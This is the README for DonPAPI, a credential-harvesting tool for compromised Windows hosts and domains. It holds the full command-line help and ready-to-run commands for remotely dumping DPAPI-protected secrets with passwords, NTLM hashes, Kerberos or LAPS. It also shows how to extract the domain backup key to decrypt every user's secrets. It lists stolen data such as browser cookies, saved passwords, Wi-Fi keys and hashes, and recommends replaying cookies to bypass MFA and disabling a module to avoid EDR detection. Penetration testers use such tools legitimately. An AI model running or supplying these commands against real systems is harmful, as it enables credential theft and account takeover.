Package: donpapi
DonPAPIDumping revelant information on compromised targets without AV detectionLots of credentials are protected byDPAPI.We aim at locating those "secured" credentials, and retrieve them using :User passwordDomaine DPAPI BackupKeyLocal machine DPAPI Key (protectingTaskScheduledblob)We made a talk in french about DPAPI calledDPAPI - Don't Put Administration Passwords In 🇫🇷:SlidesVideo - coming soonTable of ContentsDonPAPITable of ContentsInstallationHelperUsageCurrently Gathered InfoCompliance checkOperational useReports & Raw DataOpsec considerationCreditsTodoInstallationThis tool should be install withpipxor in a dedicated virtual environmentpipxinstalldonpapi
DonPAPIor (with latest commits)pipxinstallgit+https://github.com/login-securite/DonPAPI.gitor (to dev)gitclonegit+https://github.com/login-securite/DonPAPI.gitcdDonPAPI
poetryupdate
poetryrunDonPAPIHelper$ DonPAPI


         ,
       ,                                                 LeHack Release! 💀
        (
       .                                          by Touf & Zblurx @ Login Sécurité
                                &&&&&&
     &&&&&%%%.                  &&&&&&
      &&&&%%%              &&&& &&&&&&       &&&&&&            &&&&&.
      &&&&%%%           &&&&&&& &&&&&&    &&&&&&&&&&&&&     &&&&&&&&&&&
      &&&&%%%         &&&&&&&&& &&&&&&  &&&&&&&&&&&&&&&&   &&&&&&&&&&&&&
    &&&&&&%%%%%       &&&&&&    &&&&&&  &&&&&&    &&&&&&   &&&&&   &&&&&   #####
 &&&&&&&&&%%%%%%%     &&&&&&&&&&&&&&&&  (&&&&&&&&&&&&&&&   &&&&&   &&&&&   # # #
 &/&/////////////%      &&&&&&&&&&&&      &&&&&&&&&&&&     &&&&&   &&&&&   #####
&&/&/#////////(//%         &&&&&&            &&&&&&        &&&&&   &&&&&    ###
&&/&/////////////%
&&/&/////////////%        &&&&&&&&&        &&&&&&&&&&        &&&&&&&&&     &&&&&
&&/&//////////(//%     &&&&&&&&&&&&&&    &&&&&&&&&&&&&&   &&&&&&&&&&&&&&   &&&&&
&&/&/////////////%     &&&&&&   &&&&&&  &&&&&&   &&&&&&&  &&&&&&   &&&&&&  &&&&&
&&/&///////////(/%    &&&&&&    &&&&&&  &&&&&&    &&&&&& &&&&&&    &&&&&&  &&&&&
&&/&///(/////////%    &&&&&& &&&&&&&&&  &&&&&&&&& &&&&&& &&&&&& &&&&&&&&&  &&&&&
&&/&/////////////%    &&&&&& &&&&&&&      &&&&&&& &&&&&& &&&&&& &&&&&&&    &&&&&
&&#&###########/#%    &&&&&&                             &&&&&&
&&###############%    &&&&&&                             &&&&&&

usage: DonPAPI [-h] [-credz CREDZ] [-pvk PVK] [-d] [-t number of threads] [-o OUTPUT_DIRECTORY] [-H LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-local_auth] [-laps] [-dc-ip ip address]
               [-target-ip ip address] [-port [destination port]] [-R] [--type TYPE] [-u] [--target] [--no_browser] [--no_dpapi] [--no_vnc] [--no_remoteops] [--GetHashes] [--no_recent] [--no_sysadmins]
               [--from_file FROM_FILE]
               [target]

SeatBelt implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -credz CREDZ          File containing multiple user:password or user:hash for masterkeys decryption
  -pvk PVK              input backupkey pvk file
  -d, --debug           Turn DEBUG output ON
  -t number of threads  number of threads
  -o OUTPUT_DIRECTORY, --output_directory OUTPUT_DIRECTORY
                        output log directory

authentication:
  -H LMHASH:NTHASH, --hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
                        command line
  -aesKey hex key       AES key to use for Kerberos Authentication (1128 or 256 bits)
  -local_auth           use local authentification
  -laps                 use LAPS to request local admin password

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Reporting:
  -R, --report          Only Generate Report on the scope
  --type TYPE           only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox
  -u, --user            only this username
  --target              only this target (url/IP...)

attacks:
  --no_browser          do not hunt for browser passwords
  --no_dpapi            do not hunt for DPAPI secrets
  --no_vnc              do not hunt for VNC passwords
  --no_remoteops        do not hunt for SAM and LSA with remoteops
  --GetHashes           Get all users Masterkey's hash & DCC2 hash
  --no_recent           Do not hunt for recent files
  --no_sysadmins        Do not hunt for sysadmins stuff (mRemoteNG, vnc, keepass, lastpass ...)
  --from_file FROM_FILE
                        Give me the export of ADSyncQuery.exe ADSync.mdf to decrypt ADConnect passwordUsageDump all secrets of the target machine with an Domain admin account :DonPAPIdomain/user:passw0rd@targetor a Local one :DonPAPI -local_auth user@targetUsing PtHDonPAPI--hashes<LM>:<NT>domain/user@targetUsing kerberos (-k)DonPAPI-kdomain/user@targetUsing a user with LAPS password reading rightsDonPAPI-lapsdomain/user:passw0rd@targetUsing relayed socks:To decrypt secrets DonPapi might need :Nothing, when facing reversible encryption (firefox, mremoteNG, VNC)the machine DPAPI Key, we will fetch it automatically thanks to secretdumps when having an admin acces (Wifi, scheduled task passwords)the user password for everything related to DPAPI Protection, or de DPAPI Domain Backup keyIt is possible to provide a list of credentials that will be tested on the target. DonPAPI will try to use them to decipher masterkeys.This credential file must have the following syntax:user1:pass1
user1:pass2
user2:passX
...DonPAPI-credzcredz_file.txtdomain/user:passw0rd@targetWhen a domain admin user is available, it is possible to dump the domain backup key using impacketdpapi.pytool:dpapi.pybackupkeys--export-tdomain/user:passw0rd@target_dc_ipOr withdploot:dplootbackupkeys-uusername-ppassword-ddomain192.168.56.30This backup key (pvk file) can then be used to dump all domain user's secrets!DonPAPI-pvkdomain_backupkey.pvkdomain/user:passw0rd@domain_network_listTarget can be an IP, IP range, CIDR, FQDN, file containing list targets (one per line)Curently gathered infoWindows credentials (Taskscheduled credentials & a lot more)Windows VaultsWindows RDP credentialsWindows certificatesAdConnect (still require a manual operation)Wifi keyInternet explorer CredentialsChrome cookies & credentialsFirefox cookies & credentialsVNC passwordsmRemoteNG password (with default config)Compliance checkSMB signing statusOS/Domain/Hostname/Ip of the audited scopeOperational useWith local admin account on a host, we can :Gather machine protected DPAPI secretsScheduledTask that will contain cleartext login/password of the account configured to run the taskWi-Fi passwordsExtract Masterkey's hash value for every user profiles (masterkeys beeing protected by the user's password, let's try to crack them with Hashcat)Identify who is connected from where, in order to identify admin's personal computers.Extract other non-dpapi protected secrets (VNC/Firefox/mRemoteNG)Gather protected secrets from IE, Chrome, Firefox and start reaching the Azure tenant.With a user password, or the domain PVK we can unprotect the user's DPAPI secrets.Use cookies to bypass MFA (https://www.eshlomo.us/pass-the-cookie-crumble-the-cloud/)Reports & Raw DataDonPapi will extract and consolidate a bunch of raw information:raw user and passwords in 'raw_credz'dumped certificates informationsraw cookiesraw sam hashraw users masterkey's hash (Good luck with cracking those, but it might be the only hash you'll get for some SuperAdmin Accounts)raw DCC2To generate the report, just use DonPAPI with-R.HTML Reports will be created, as you'll probably have so many passwords that your browser will crash rendering it, i tried to separate those in few reports.Cookies are great to bypass MFA, by clicking on a cookie in the report you'll copy what you need to paste to cookie in your browser dev console.If the certificate allow client authentication, you can click on "Yes" to get a workingcertipy authcommand with the certificate in your clipboard.some info are excluded from the reports, you can still acces all the data in the sqlite3 donpapi.db database.Opsec considerationThe RemoteOps part can be spoted by some EDR (it's basically a secretdump). It can be disabled using--no_remoteopsflag, but then the machine DPAPI key won't be retrieved, and scheduled task credentials/Wi-Fi passwords won't be harvested.CreditsAll the credits goes to these great guys for doing the hard research & coding :Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented, <3 your code)Alberto Solino (@agsolino) for the tremendous work of Impacket (https://github.com/SecureAuthCorp/impacket). Almost everything we do here comes from impacket.Alesandro Z& everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur.dirkjanm@_dirkjanfor the base code of adconnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. I learned so much on so many subjects thanks to you. <3@byt3bl33d3rfor CME (lots of inspiration and code comes from CME :https://github.com/byt3bl33d3r/CrackMapExec)All the Team at@LoginSecuritefor their help in debugging my shity code (special thanks to@layno&@HackAndDofor that)TodoFinish ADSync/ADConnect password extractionCREDHISTORY full extractionFurther analysis ADAL/msteamsImplement Chrome <v80 decoderFind a way to implement Lazagne's great moduleImplement ADCS PKI export